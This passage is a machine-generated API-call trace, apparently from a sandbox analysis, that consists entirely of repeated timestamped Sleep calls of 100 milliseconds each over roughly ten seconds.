(dwMilliseconds=0x64) [0258.847] Sleep (dwMilliseconds=0x64) [0258.863] Sleep (dwMilliseconds=0x64) [0258.878] Sleep (dwMilliseconds=0x64) [0258.894] Sleep (dwMilliseconds=0x64) [0258.909] Sleep (dwMilliseconds=0x64) [0258.925] Sleep (dwMilliseconds=0x64) [0258.940] Sleep (dwMilliseconds=0x64) [0258.959] Sleep (dwMilliseconds=0x64) [0258.972] Sleep (dwMilliseconds=0x64) [0259.002] Sleep (dwMilliseconds=0x64) [0259.003] Sleep (dwMilliseconds=0x64) [0259.018] Sleep (dwMilliseconds=0x64) [0259.034] Sleep (dwMilliseconds=0x64) [0259.050] Sleep (dwMilliseconds=0x64) [0259.070] Sleep (dwMilliseconds=0x64) [0259.084] Sleep (dwMilliseconds=0x64) [0259.097] Sleep (dwMilliseconds=0x64) [0259.112] Sleep (dwMilliseconds=0x64) [0259.128] Sleep (dwMilliseconds=0x64) [0259.143] Sleep (dwMilliseconds=0x64) [0259.159] Sleep (dwMilliseconds=0x64) [0259.174] Sleep (dwMilliseconds=0x64) [0259.190] Sleep (dwMilliseconds=0x64) [0259.206] Sleep (dwMilliseconds=0x64) [0259.221] Sleep (dwMilliseconds=0x64) [0259.237] Sleep (dwMilliseconds=0x64) [0259.252] Sleep (dwMilliseconds=0x64) [0259.268] Sleep (dwMilliseconds=0x64) [0259.284] Sleep (dwMilliseconds=0x64) [0259.302] Sleep (dwMilliseconds=0x64) [0259.315] Sleep (dwMilliseconds=0x64) [0259.330] Sleep (dwMilliseconds=0x64) [0259.356] Sleep (dwMilliseconds=0x64) [0259.362] Sleep (dwMilliseconds=0x64) [0259.377] Sleep (dwMilliseconds=0x64) [0259.393] Sleep (dwMilliseconds=0x64) [0259.411] Sleep (dwMilliseconds=0x64) [0259.424] Sleep (dwMilliseconds=0x64) [0259.440] Sleep (dwMilliseconds=0x64) [0259.455] Sleep (dwMilliseconds=0x64) [0259.471] Sleep (dwMilliseconds=0x64) [0259.488] Sleep (dwMilliseconds=0x64) [0259.502] Sleep (dwMilliseconds=0x64) [0259.518] Sleep (dwMilliseconds=0x64) [0259.533] Sleep (dwMilliseconds=0x64) [0259.549] Sleep (dwMilliseconds=0x64) [0259.564] Sleep (dwMilliseconds=0x64) [0259.580] Sleep (dwMilliseconds=0x64) [0259.596] Sleep (dwMilliseconds=0x64) [0259.611] Sleep (dwMilliseconds=0x64) [0259.627] Sleep (dwMilliseconds=0x64) [0259.642] Sleep (dwMilliseconds=0x64) [0259.662] Sleep (dwMilliseconds=0x64) [0259.674] Sleep (dwMilliseconds=0x64) [0259.689] Sleep (dwMilliseconds=0x64) [0259.705] Sleep (dwMilliseconds=0x64) [0259.721] Sleep (dwMilliseconds=0x64) [0259.737] Sleep (dwMilliseconds=0x64) [0259.752] Sleep (dwMilliseconds=0x64) [0259.767] Sleep (dwMilliseconds=0x64) [0259.783] Sleep (dwMilliseconds=0x64) [0259.799] Sleep (dwMilliseconds=0x64) [0259.814] Sleep (dwMilliseconds=0x64) [0259.830] Sleep (dwMilliseconds=0x64) [0259.846] Sleep (dwMilliseconds=0x64) [0259.861] Sleep (dwMilliseconds=0x64) [0259.877] Sleep (dwMilliseconds=0x64) [0259.892] Sleep (dwMilliseconds=0x64) [0259.908] Sleep (dwMilliseconds=0x64) [0259.923] Sleep (dwMilliseconds=0x64) [0259.939] Sleep (dwMilliseconds=0x64) [0259.956] Sleep (dwMilliseconds=0x64) [0259.970] Sleep (dwMilliseconds=0x64) [0259.986] Sleep (dwMilliseconds=0x64) [0260.015] Sleep (dwMilliseconds=0x64) [0260.017] Sleep (dwMilliseconds=0x64) [0260.033] Sleep (dwMilliseconds=0x64) [0260.050] Sleep (dwMilliseconds=0x64) [0260.064] Sleep (dwMilliseconds=0x64) [0260.079] Sleep (dwMilliseconds=0x64) [0260.095] Sleep (dwMilliseconds=0x64) [0260.111] Sleep (dwMilliseconds=0x64) [0260.128] Sleep (dwMilliseconds=0x64) [0260.142] Sleep (dwMilliseconds=0x64) [0260.157] Sleep (dwMilliseconds=0x64) [0260.173] Sleep (dwMilliseconds=0x64) [0260.191] Sleep (dwMilliseconds=0x64) [0260.204] Sleep (dwMilliseconds=0x64) [0260.222] Sleep (dwMilliseconds=0x64) [0260.235] Sleep (dwMilliseconds=0x64) [0260.254] Sleep (dwMilliseconds=0x64) [0260.266] Sleep (dwMilliseconds=0x64) [0260.282] Sleep (dwMilliseconds=0x64) [0260.298] Sleep (dwMilliseconds=0x64) [0260.313] Sleep (dwMilliseconds=0x64) [0260.329] Sleep (dwMilliseconds=0x64) [0260.353] Sleep (dwMilliseconds=0x64) [0260.360] Sleep (dwMilliseconds=0x64) [0260.376] Sleep (dwMilliseconds=0x64) [0260.393] Sleep (dwMilliseconds=0x64) [0260.408] Sleep (dwMilliseconds=0x64) [0260.422] Sleep (dwMilliseconds=0x64) [0260.438] Sleep (dwMilliseconds=0x64) [0260.454] Sleep (dwMilliseconds=0x64) [0260.470] Sleep (dwMilliseconds=0x64) [0260.485] Sleep (dwMilliseconds=0x64) [0260.501] Sleep (dwMilliseconds=0x64) [0260.516] Sleep (dwMilliseconds=0x64) [0260.532] Sleep (dwMilliseconds=0x64) [0260.548] Sleep (dwMilliseconds=0x64) [0260.563] Sleep (dwMilliseconds=0x64) [0260.578] Sleep (dwMilliseconds=0x64) [0260.594] Sleep (dwMilliseconds=0x64) [0260.610] Sleep (dwMilliseconds=0x64) [0260.625] Sleep (dwMilliseconds=0x64) [0260.641] Sleep (dwMilliseconds=0x64) [0260.657] Sleep (dwMilliseconds=0x64) [0260.672] Sleep (dwMilliseconds=0x64) [0260.688] Sleep (dwMilliseconds=0x64) [0260.703] Sleep (dwMilliseconds=0x64) [0260.720] Sleep (dwMilliseconds=0x64) [0260.735] Sleep (dwMilliseconds=0x64) [0260.750] Sleep (dwMilliseconds=0x64) [0260.766] Sleep (dwMilliseconds=0x64) [0260.782] Sleep (dwMilliseconds=0x64) [0260.797] Sleep (dwMilliseconds=0x64) [0260.812] Sleep (dwMilliseconds=0x64) [0260.829] Sleep (dwMilliseconds=0x64) [0260.844] Sleep (dwMilliseconds=0x64) [0260.859] Sleep (dwMilliseconds=0x64) [0260.875] Sleep (dwMilliseconds=0x64) [0260.892] Sleep (dwMilliseconds=0x64) [0260.906] Sleep (dwMilliseconds=0x64) [0260.922] Sleep (dwMilliseconds=0x64) [0260.938] Sleep (dwMilliseconds=0x64) [0260.953] Sleep (dwMilliseconds=0x64) [0260.971] Sleep (dwMilliseconds=0x64) [0260.984] Sleep (dwMilliseconds=0x64) [0261.000] Sleep (dwMilliseconds=0x64) [0261.029] Sleep (dwMilliseconds=0x64) [0261.031] Sleep (dwMilliseconds=0x64) [0261.046] Sleep (dwMilliseconds=0x64) [0261.062] Sleep (dwMilliseconds=0x64) [0261.077] Sleep (dwMilliseconds=0x64) [0261.093] Sleep (dwMilliseconds=0x64) [0261.109] Sleep (dwMilliseconds=0x64) [0261.124] Sleep (dwMilliseconds=0x64) [0261.140] Sleep (dwMilliseconds=0x64) [0261.156] Sleep (dwMilliseconds=0x64) [0261.171] Sleep (dwMilliseconds=0x64) [0261.187] Sleep (dwMilliseconds=0x64) [0261.202] Sleep (dwMilliseconds=0x64) [0261.218] Sleep (dwMilliseconds=0x64) [0261.237] Sleep (dwMilliseconds=0x64) [0261.249] Sleep (dwMilliseconds=0x64) [0261.265] Sleep (dwMilliseconds=0x64) [0261.281] Sleep (dwMilliseconds=0x64) [0261.296] Sleep (dwMilliseconds=0x64) [0261.312] Sleep (dwMilliseconds=0x64) [0261.327] Sleep (dwMilliseconds=0x64) [0261.352] Sleep (dwMilliseconds=0x64) [0261.358] Sleep (dwMilliseconds=0x64) [0261.374] Sleep (dwMilliseconds=0x64) [0261.390] Sleep (dwMilliseconds=0x64) [0261.407] Sleep (dwMilliseconds=0x64) [0261.421] Sleep (dwMilliseconds=0x64) [0261.436] Sleep (dwMilliseconds=0x64) [0261.452] Sleep (dwMilliseconds=0x64) [0261.468] Sleep (dwMilliseconds=0x64) [0261.483] Sleep (dwMilliseconds=0x64) [0261.499] Sleep (dwMilliseconds=0x64) [0261.524] Sleep (dwMilliseconds=0x64) [0261.530] Sleep (dwMilliseconds=0x64) [0261.546] Sleep (dwMilliseconds=0x64) [0261.562] Sleep (dwMilliseconds=0x64) [0261.577] Sleep (dwMilliseconds=0x64) [0261.593] Sleep (dwMilliseconds=0x64) [0261.608] Sleep (dwMilliseconds=0x64) [0261.624] Sleep (dwMilliseconds=0x64) [0261.639] Sleep (dwMilliseconds=0x64) [0261.655] Sleep (dwMilliseconds=0x64) [0261.670] Sleep (dwMilliseconds=0x64) [0261.686] Sleep (dwMilliseconds=0x64) [0261.706] Sleep (dwMilliseconds=0x64) [0261.717] Sleep (dwMilliseconds=0x64) [0261.733] Sleep (dwMilliseconds=0x64) [0261.752] Sleep (dwMilliseconds=0x64) [0261.764] Sleep (dwMilliseconds=0x64) [0261.780] Sleep (dwMilliseconds=0x64) [0261.795] Sleep (dwMilliseconds=0x64) [0261.811] Sleep (dwMilliseconds=0x64) [0261.826] Sleep (dwMilliseconds=0x64) [0261.842] Sleep (dwMilliseconds=0x64) [0261.859] Sleep (dwMilliseconds=0x64) [0261.874] Sleep (dwMilliseconds=0x64) [0261.890] Sleep (dwMilliseconds=0x64) [0261.905] Sleep (dwMilliseconds=0x64) [0261.920] Sleep (dwMilliseconds=0x64) [0261.936] Sleep (dwMilliseconds=0x64) [0261.952] Sleep (dwMilliseconds=0x64) [0261.967] Sleep (dwMilliseconds=0x64) [0261.982] Sleep (dwMilliseconds=0x64) [0261.999] Sleep (dwMilliseconds=0x64) [0262.014] Sleep (dwMilliseconds=0x64) [0262.045] Sleep (dwMilliseconds=0x64) [0262.060] Sleep (dwMilliseconds=0x64) [0262.076] Sleep (dwMilliseconds=0x64) [0262.091] Sleep (dwMilliseconds=0x64) [0262.107] Sleep (dwMilliseconds=0x64) [0262.123] Sleep (dwMilliseconds=0x64) [0262.140] Sleep (dwMilliseconds=0x64) [0262.154] Sleep (dwMilliseconds=0x64) [0262.170] Sleep (dwMilliseconds=0x64) [0262.185] Sleep (dwMilliseconds=0x64) [0262.201] Sleep (dwMilliseconds=0x64) [0262.217] Sleep (dwMilliseconds=0x64) [0262.232] Sleep (dwMilliseconds=0x64) [0262.248] Sleep (dwMilliseconds=0x64) [0262.263] Sleep (dwMilliseconds=0x64) [0262.279] Sleep (dwMilliseconds=0x64) [0262.295] Sleep (dwMilliseconds=0x64) [0262.310] Sleep (dwMilliseconds=0x64) [0262.326] Sleep (dwMilliseconds=0x64) [0262.341] Sleep (dwMilliseconds=0x64) [0262.364] Sleep (dwMilliseconds=0x64) [0262.373] Sleep (dwMilliseconds=0x64) [0262.388] Sleep (dwMilliseconds=0x64) [0262.404] Sleep (dwMilliseconds=0x64) [0262.419] Sleep (dwMilliseconds=0x64) [0262.435] Sleep (dwMilliseconds=0x64) [0262.450] Sleep (dwMilliseconds=0x64) [0262.466] Sleep (dwMilliseconds=0x64) [0262.482] Sleep (dwMilliseconds=0x64) [0262.499] Sleep (dwMilliseconds=0x64) [0262.513] Sleep (dwMilliseconds=0x64) [0262.529] Sleep (dwMilliseconds=0x64) [0262.544] Sleep (dwMilliseconds=0x64) [0262.560] Sleep (dwMilliseconds=0x64) [0262.578] Sleep (dwMilliseconds=0x64) [0262.591] Sleep (dwMilliseconds=0x64) [0262.607] Sleep (dwMilliseconds=0x64) [0262.622] Sleep (dwMilliseconds=0x64) [0262.638] Sleep (dwMilliseconds=0x64) [0262.653] Sleep (dwMilliseconds=0x64) [0262.669] Sleep (dwMilliseconds=0x64) [0262.685] Sleep (dwMilliseconds=0x64) [0262.700] Sleep (dwMilliseconds=0x64) [0262.716] Sleep (dwMilliseconds=0x64) [0262.731] Sleep (dwMilliseconds=0x64) [0262.747] Sleep (dwMilliseconds=0x64) [0262.762] Sleep (dwMilliseconds=0x64) [0262.778] Sleep (dwMilliseconds=0x64) [0262.794] Sleep (dwMilliseconds=0x64) [0262.809] Sleep (dwMilliseconds=0x64) [0262.825] Sleep (dwMilliseconds=0x64) [0262.840] Sleep (dwMilliseconds=0x64) [0262.856] Sleep (dwMilliseconds=0x64) [0262.872] Sleep (dwMilliseconds=0x64) [0262.887] Sleep (dwMilliseconds=0x64) [0262.903] Sleep (dwMilliseconds=0x64) [0262.919] Sleep (dwMilliseconds=0x64) [0262.934] Sleep (dwMilliseconds=0x64) [0262.950] Sleep (dwMilliseconds=0x64) [0262.965] Sleep (dwMilliseconds=0x64) [0262.982] Sleep (dwMilliseconds=0x64) [0262.996] Sleep (dwMilliseconds=0x64) [0263.012] Sleep (dwMilliseconds=0x64) [0263.028] Sleep (dwMilliseconds=0x64) [0263.058] Sleep (dwMilliseconds=0x64) [0263.059] Sleep (dwMilliseconds=0x64) [0263.074] Sleep (dwMilliseconds=0x64) [0263.090] Sleep (dwMilliseconds=0x64) [0263.106] Sleep (dwMilliseconds=0x64) [0263.121] Sleep (dwMilliseconds=0x64) [0263.137] Sleep (dwMilliseconds=0x64) [0263.153] Sleep (dwMilliseconds=0x64) [0263.168] Sleep (dwMilliseconds=0x64) [0263.184] Sleep (dwMilliseconds=0x64) [0263.199] Sleep (dwMilliseconds=0x64) [0263.215] Sleep (dwMilliseconds=0x64) [0263.231] Sleep (dwMilliseconds=0x64) [0263.246] Sleep (dwMilliseconds=0x64) [0263.262] Sleep (dwMilliseconds=0x64) [0263.277] Sleep (dwMilliseconds=0x64) [0263.293] Sleep (dwMilliseconds=0x64) [0263.308] Sleep (dwMilliseconds=0x64) [0263.324] Sleep (dwMilliseconds=0x64) [0263.340] Sleep (dwMilliseconds=0x64) [0263.364] Sleep (dwMilliseconds=0x64) [0263.371] Sleep (dwMilliseconds=0x64) [0263.386] Sleep (dwMilliseconds=0x64) [0263.404] Sleep (dwMilliseconds=0x64) [0263.418] Sleep (dwMilliseconds=0x64) [0263.433] Sleep (dwMilliseconds=0x64) [0263.449] Sleep (dwMilliseconds=0x64) [0263.464] Sleep (dwMilliseconds=0x64) [0263.480] Sleep (dwMilliseconds=0x64) [0263.496] Sleep (dwMilliseconds=0x64) [0263.511] Sleep (dwMilliseconds=0x64) [0263.527] Sleep (dwMilliseconds=0x64) [0263.543] Sleep (dwMilliseconds=0x64) [0263.558] Sleep (dwMilliseconds=0x64) [0263.574] Sleep (dwMilliseconds=0x64) [0263.589] Sleep (dwMilliseconds=0x64) [0263.606] Sleep (dwMilliseconds=0x64) [0263.620] Sleep (dwMilliseconds=0x64) [0263.637] Sleep (dwMilliseconds=0x64) [0263.652] Sleep (dwMilliseconds=0x64) [0263.668] Sleep (dwMilliseconds=0x64) [0263.683] Sleep (dwMilliseconds=0x64) [0263.698] Sleep (dwMilliseconds=0x64) [0263.714] Sleep (dwMilliseconds=0x64) [0263.730] Sleep (dwMilliseconds=0x64) [0263.745] Sleep (dwMilliseconds=0x64) [0263.761] Sleep (dwMilliseconds=0x64) [0263.777] Sleep (dwMilliseconds=0x64) [0263.792] Sleep (dwMilliseconds=0x64) [0263.808] Sleep (dwMilliseconds=0x64) [0263.823] Sleep (dwMilliseconds=0x64) [0263.839] Sleep (dwMilliseconds=0x64) [0263.855] Sleep (dwMilliseconds=0x64) [0263.870] Sleep (dwMilliseconds=0x64) [0263.886] Sleep (dwMilliseconds=0x64) [0263.901] Sleep (dwMilliseconds=0x64) [0263.917] Sleep (dwMilliseconds=0x64) [0263.932] Sleep (dwMilliseconds=0x64) [0263.948] Sleep (dwMilliseconds=0x64) [0263.964] Sleep (dwMilliseconds=0x64) [0263.980] Sleep (dwMilliseconds=0x64) [0263.995] Sleep (dwMilliseconds=0x64) [0264.010] Sleep (dwMilliseconds=0x64) [0264.026] Sleep (dwMilliseconds=0x64) [0264.042] Sleep (dwMilliseconds=0x64) [0264.071] Sleep (dwMilliseconds=0x64) [0264.073] Sleep (dwMilliseconds=0x64) [0264.089] Sleep (dwMilliseconds=0x64) [0264.104] Sleep (dwMilliseconds=0x64) [0264.120] Sleep (dwMilliseconds=0x64) [0264.136] Sleep (dwMilliseconds=0x64) [0264.153] Sleep (dwMilliseconds=0x64) [0264.168] Sleep (dwMilliseconds=0x64) [0264.182] Sleep (dwMilliseconds=0x64) [0264.198] Sleep (dwMilliseconds=0x64) [0264.213] Sleep (dwMilliseconds=0x64) [0264.229] Sleep (dwMilliseconds=0x64) [0264.244] Sleep (dwMilliseconds=0x64) [0264.260] Sleep (dwMilliseconds=0x64) [0264.276] Sleep (dwMilliseconds=0x64) [0264.292] Sleep (dwMilliseconds=0x64) [0264.307] Sleep (dwMilliseconds=0x64) [0264.323] Sleep (dwMilliseconds=0x64) [0264.338] Sleep (dwMilliseconds=0x64) [0264.364] Sleep (dwMilliseconds=0x64) [0264.369] Sleep (dwMilliseconds=0x64) [0264.385] Sleep (dwMilliseconds=0x64) [0264.400] Sleep (dwMilliseconds=0x64) [0264.416] Sleep (dwMilliseconds=0x64) [0264.432] Sleep (dwMilliseconds=0x64) [0264.447] Sleep (dwMilliseconds=0x64) [0264.463] Sleep (dwMilliseconds=0x64) [0264.478] Sleep (dwMilliseconds=0x64) [0264.494] Sleep (dwMilliseconds=0x64) [0264.510] Sleep (dwMilliseconds=0x64) [0264.525] Sleep (dwMilliseconds=0x64) [0264.541] Sleep (dwMilliseconds=0x64) [0264.557] Sleep (dwMilliseconds=0x64) [0264.572] Sleep (dwMilliseconds=0x64) [0264.588] Sleep (dwMilliseconds=0x64) [0264.603] Sleep (dwMilliseconds=0x64) [0264.619] Sleep (dwMilliseconds=0x64) [0264.634] Sleep (dwMilliseconds=0x64) [0264.653] Sleep (dwMilliseconds=0x64) [0264.666] Sleep (dwMilliseconds=0x64) [0264.681] Sleep (dwMilliseconds=0x64) [0264.700] Sleep (dwMilliseconds=0x64) [0264.712] Sleep (dwMilliseconds=0x64) [0264.728] Sleep (dwMilliseconds=0x64) [0264.744] Sleep (dwMilliseconds=0x64) [0264.759] Sleep (dwMilliseconds=0x64) [0264.775] Sleep (dwMilliseconds=0x64) [0264.791] Sleep (dwMilliseconds=0x64) [0264.806] Sleep (dwMilliseconds=0x64) [0264.822] Sleep (dwMilliseconds=0x64) [0264.837] Sleep (dwMilliseconds=0x64) [0264.854] Sleep (dwMilliseconds=0x64) [0264.869] Sleep (dwMilliseconds=0x64) [0264.884] Sleep (dwMilliseconds=0x64) [0264.900] Sleep (dwMilliseconds=0x64) [0264.915] Sleep (dwMilliseconds=0x64) [0264.931] Sleep (dwMilliseconds=0x64) [0264.947] Sleep (dwMilliseconds=0x64) [0264.962] Sleep (dwMilliseconds=0x64) [0264.978] Sleep (dwMilliseconds=0x64) [0264.993] Sleep (dwMilliseconds=0x64) [0265.009] Sleep (dwMilliseconds=0x64) [0265.024] Sleep (dwMilliseconds=0x64) [0265.040] Sleep (dwMilliseconds=0x64) [0265.056] Sleep (dwMilliseconds=0x64) [0265.085] Sleep (dwMilliseconds=0x64) [0265.087] Sleep (dwMilliseconds=0x64) [0265.102] Sleep (dwMilliseconds=0x64) [0265.118] Sleep (dwMilliseconds=0x64) [0265.133] Sleep (dwMilliseconds=0x64) [0265.149] Sleep (dwMilliseconds=0x64) [0265.165] Sleep (dwMilliseconds=0x64) [0265.180] Sleep (dwMilliseconds=0x64) [0265.196] Sleep (dwMilliseconds=0x64) [0265.213] Sleep (dwMilliseconds=0x64) [0265.227] Sleep (dwMilliseconds=0x64) [0265.243] Sleep (dwMilliseconds=0x64) [0265.258] Sleep (dwMilliseconds=0x64) [0265.274] Sleep (dwMilliseconds=0x64) [0265.290] Sleep (dwMilliseconds=0x64) [0265.305] Sleep (dwMilliseconds=0x64) [0265.321] Sleep (dwMilliseconds=0x64) [0265.336] Sleep (dwMilliseconds=0x64) [0265.360] Sleep (dwMilliseconds=0x64) [0265.368] Sleep (dwMilliseconds=0x64) [0265.383] Sleep (dwMilliseconds=0x64) [0265.399] Sleep (dwMilliseconds=0x64) [0265.415] Sleep (dwMilliseconds=0x64) [0265.430] Sleep (dwMilliseconds=0x64) [0265.446] Sleep (dwMilliseconds=0x64) [0265.461] Sleep (dwMilliseconds=0x64) [0265.477] Sleep (dwMilliseconds=0x64) [0265.492] Sleep (dwMilliseconds=0x64) [0265.511] Sleep (dwMilliseconds=0x64) [0265.524] Sleep (dwMilliseconds=0x64) [0265.539] Sleep (dwMilliseconds=0x64) [0265.555] Sleep (dwMilliseconds=0x64) [0265.570] Sleep (dwMilliseconds=0x64) [0265.589] Sleep (dwMilliseconds=0x64) [0265.602] Sleep (dwMilliseconds=0x64) [0265.617] Sleep (dwMilliseconds=0x64) [0265.633] Sleep (dwMilliseconds=0x64) [0265.649] Sleep (dwMilliseconds=0x64) [0265.664] Sleep (dwMilliseconds=0x64) [0265.680] Sleep (dwMilliseconds=0x64) [0265.695] Sleep (dwMilliseconds=0x64) [0265.712] Sleep (dwMilliseconds=0x64) [0265.727] Sleep (dwMilliseconds=0x64) [0265.742] Sleep (dwMilliseconds=0x64) [0265.762] Sleep (dwMilliseconds=0x64) [0265.773] Sleep (dwMilliseconds=0x64) [0265.790] Sleep (dwMilliseconds=0x64) [0265.804] Sleep (dwMilliseconds=0x64) [0265.820] Sleep (dwMilliseconds=0x64) [0265.836] Sleep (dwMilliseconds=0x64) [0265.852] Sleep (dwMilliseconds=0x64) [0265.867] Sleep (dwMilliseconds=0x64) [0265.882] Sleep (dwMilliseconds=0x64) [0265.898] Sleep (dwMilliseconds=0x64) [0265.914] Sleep (dwMilliseconds=0x64) [0265.929] Sleep (dwMilliseconds=0x64) [0265.945] Sleep (dwMilliseconds=0x64) [0265.961] Sleep (dwMilliseconds=0x64) [0265.976] Sleep (dwMilliseconds=0x64) [0265.992] Sleep (dwMilliseconds=0x64) [0266.009] Sleep (dwMilliseconds=0x64) [0266.023] Sleep (dwMilliseconds=0x64) [0266.039] Sleep (dwMilliseconds=0x64) [0266.054] Sleep (dwMilliseconds=0x64) [0266.070] Sleep (dwMilliseconds=0x64) [0266.085] Sleep (dwMilliseconds=0x64) [0266.101] Sleep (dwMilliseconds=0x64) [0266.116] Sleep (dwMilliseconds=0x64) [0266.132] Sleep (dwMilliseconds=0x64) [0266.147] Sleep (dwMilliseconds=0x64) [0266.169] Sleep (dwMilliseconds=0x64) [0266.179] Sleep (dwMilliseconds=0x64) [0266.194] Sleep (dwMilliseconds=0x64) [0266.210] Sleep (dwMilliseconds=0x64) [0266.227] Sleep (dwMilliseconds=0x64) [0266.241] Sleep (dwMilliseconds=0x64) [0266.257] Sleep (dwMilliseconds=0x64) [0266.272] Sleep (dwMilliseconds=0x64) [0266.289] Sleep (dwMilliseconds=0x64) [0266.304] Sleep (dwMilliseconds=0x64) [0266.319] Sleep (dwMilliseconds=0x64) [0266.335] Sleep (dwMilliseconds=0x64) [0266.359] Sleep (dwMilliseconds=0x64) [0266.366] Sleep (dwMilliseconds=0x64) [0266.383] Sleep (dwMilliseconds=0x64) [0266.398] Sleep (dwMilliseconds=0x64) [0266.413] Sleep (dwMilliseconds=0x64) [0266.428] Sleep (dwMilliseconds=0x64) [0266.445] Sleep (dwMilliseconds=0x64) [0266.460] Sleep (dwMilliseconds=0x64) [0266.475] Sleep (dwMilliseconds=0x64) [0266.491] Sleep (dwMilliseconds=0x64) [0266.507] Sleep (dwMilliseconds=0x64) [0266.526] Sleep (dwMilliseconds=0x64) [0266.538] Sleep (dwMilliseconds=0x64) [0266.553] Sleep (dwMilliseconds=0x64) [0266.569] Sleep (dwMilliseconds=0x64) [0266.585] Sleep (dwMilliseconds=0x64) [0266.603] Sleep (dwMilliseconds=0x64) [0266.616] Sleep (dwMilliseconds=0x64) [0266.631] Sleep (dwMilliseconds=0x64) [0266.647] Sleep (dwMilliseconds=0x64) [0266.663] Sleep (dwMilliseconds=0x64) [0266.678] Sleep (dwMilliseconds=0x64) [0266.694] Sleep (dwMilliseconds=0x64) [0266.709] Sleep (dwMilliseconds=0x64) [0266.727] Sleep (dwMilliseconds=0x64) [0266.741] Sleep (dwMilliseconds=0x64) [0266.756] Sleep (dwMilliseconds=0x64) [0266.772] Sleep (dwMilliseconds=0x64) [0266.787] Sleep (dwMilliseconds=0x64) [0266.803] Sleep (dwMilliseconds=0x64) [0266.819] Sleep (dwMilliseconds=0x64) [0266.834] Sleep (dwMilliseconds=0x64) [0266.850] Sleep (dwMilliseconds=0x64) [0266.865] Sleep (dwMilliseconds=0x64) [0266.881] Sleep (dwMilliseconds=0x64) [0266.896] Sleep (dwMilliseconds=0x64) [0266.912] Sleep (dwMilliseconds=0x64) [0266.928] Sleep (dwMilliseconds=0x64) [0266.947] Sleep (dwMilliseconds=0x64) [0266.959] Sleep (dwMilliseconds=0x64) [0266.975] Sleep (dwMilliseconds=0x64) [0266.990] Sleep (dwMilliseconds=0x64) [0267.006] Sleep (dwMilliseconds=0x64) [0267.021] Sleep (dwMilliseconds=0x64) [0267.037] Sleep (dwMilliseconds=0x64) [0267.053] Sleep (dwMilliseconds=0x64) [0267.068] Sleep (dwMilliseconds=0x64) [0267.098] Sleep (dwMilliseconds=0x64) [0267.099] Sleep (dwMilliseconds=0x64) [0267.115] Sleep (dwMilliseconds=0x64) [0267.130] Sleep (dwMilliseconds=0x64) [0267.146] Sleep (dwMilliseconds=0x64) [0267.162] Sleep (dwMilliseconds=0x64) [0267.177] Sleep (dwMilliseconds=0x64) [0267.193] Sleep (dwMilliseconds=0x64) [0267.209] Sleep (dwMilliseconds=0x64) [0267.224] Sleep (dwMilliseconds=0x64) [0267.242] Sleep (dwMilliseconds=0x64) [0267.255] Sleep (dwMilliseconds=0x64) [0267.272] Sleep (dwMilliseconds=0x64) [0267.287] Sleep (dwMilliseconds=0x64) [0267.302] Sleep (dwMilliseconds=0x64) [0267.318] Sleep (dwMilliseconds=0x64) [0267.333] Sleep (dwMilliseconds=0x64) [0267.359] Sleep (dwMilliseconds=0x64) [0267.365] Sleep (dwMilliseconds=0x64) [0267.380] Sleep (dwMilliseconds=0x64) [0267.398] Sleep (dwMilliseconds=0x64) [0267.411] Sleep (dwMilliseconds=0x64) [0267.427] Sleep (dwMilliseconds=0x64) [0267.442] Sleep (dwMilliseconds=0x64) [0267.458] Sleep (dwMilliseconds=0x64) [0267.474] Sleep (dwMilliseconds=0x64) [0267.489] Sleep (dwMilliseconds=0x64) [0267.505] Sleep (dwMilliseconds=0x64) [0267.520] Sleep (dwMilliseconds=0x64) [0267.536] Sleep (dwMilliseconds=0x64) [0267.552] Sleep (dwMilliseconds=0x64) [0267.567] Sleep (dwMilliseconds=0x64) [0267.583] Sleep (dwMilliseconds=0x64) [0267.599] Sleep (dwMilliseconds=0x64) [0267.618] Sleep (dwMilliseconds=0x64) [0267.630] Sleep (dwMilliseconds=0x64) [0267.645] Sleep (dwMilliseconds=0x64) [0267.661] Sleep (dwMilliseconds=0x64) [0267.676] Sleep (dwMilliseconds=0x64) [0267.692] Sleep (dwMilliseconds=0x64) [0267.708] Sleep (dwMilliseconds=0x64) [0267.723] Sleep (dwMilliseconds=0x64) [0267.742] Sleep (dwMilliseconds=0x64) [0267.754] Sleep (dwMilliseconds=0x64) [0267.770] Sleep (dwMilliseconds=0x64) [0267.789] Sleep (dwMilliseconds=0x64) [0267.801] Sleep (dwMilliseconds=0x64) [0267.818] Sleep (dwMilliseconds=0x64) [0267.832] Sleep (dwMilliseconds=0x64) [0267.848] Sleep (dwMilliseconds=0x64) [0267.864] Sleep (dwMilliseconds=0x64) [0267.880] Sleep (dwMilliseconds=0x64) [0267.895] Sleep (dwMilliseconds=0x64) [0267.911] Sleep (dwMilliseconds=0x64) [0267.926] Sleep (dwMilliseconds=0x64) [0267.942] Sleep (dwMilliseconds=0x64) [0267.958] Sleep (dwMilliseconds=0x64) [0267.973] Sleep (dwMilliseconds=0x64) [0267.989] Sleep (dwMilliseconds=0x64) [0268.004] Sleep (dwMilliseconds=0x64) [0268.020] Sleep (dwMilliseconds=0x64) [0268.036] Sleep (dwMilliseconds=0x64) [0268.051] Sleep (dwMilliseconds=0x64) [0268.066] Sleep (dwMilliseconds=0x64) [0268.083] Sleep (dwMilliseconds=0x64) [0268.098] Sleep (dwMilliseconds=0x64) [0268.113] Sleep (dwMilliseconds=0x64) [0268.129] Sleep (dwMilliseconds=0x64) [0268.144] Sleep (dwMilliseconds=0x64) [0268.160] Sleep (dwMilliseconds=0x64) [0268.179] Sleep (dwMilliseconds=0x64) [0268.191] Sleep (dwMilliseconds=0x64) [0268.207] Sleep (dwMilliseconds=0x64) [0268.223] Sleep (dwMilliseconds=0x64) [0268.238] Sleep (dwMilliseconds=0x64) [0268.254] Sleep (dwMilliseconds=0x64) [0268.269] Sleep (dwMilliseconds=0x64) [0268.288] Sleep (dwMilliseconds=0x64) [0268.300] Sleep (dwMilliseconds=0x64) [0268.318] Sleep (dwMilliseconds=0x64) [0268.332] Sleep (dwMilliseconds=0x64) [0268.358] Sleep (dwMilliseconds=0x64) [0268.363] Sleep (dwMilliseconds=0x64) [0268.382] Sleep (dwMilliseconds=0x64) [0268.394] Sleep (dwMilliseconds=0x64) [0268.410] Sleep (dwMilliseconds=0x64) [0268.426] Sleep (dwMilliseconds=0x64) [0268.441] Sleep (dwMilliseconds=0x64) [0268.456] Sleep (dwMilliseconds=0x64) [0268.473] Sleep (dwMilliseconds=0x64) [0268.488] Sleep (dwMilliseconds=0x64) [0268.503] Sleep (dwMilliseconds=0x64) [0268.520] Sleep (dwMilliseconds=0x64) [0268.535] Sleep (dwMilliseconds=0x64) [0268.550] Sleep (dwMilliseconds=0x64) [0268.566] Sleep (dwMilliseconds=0x64) [0268.581] Sleep (dwMilliseconds=0x64) [0268.597] 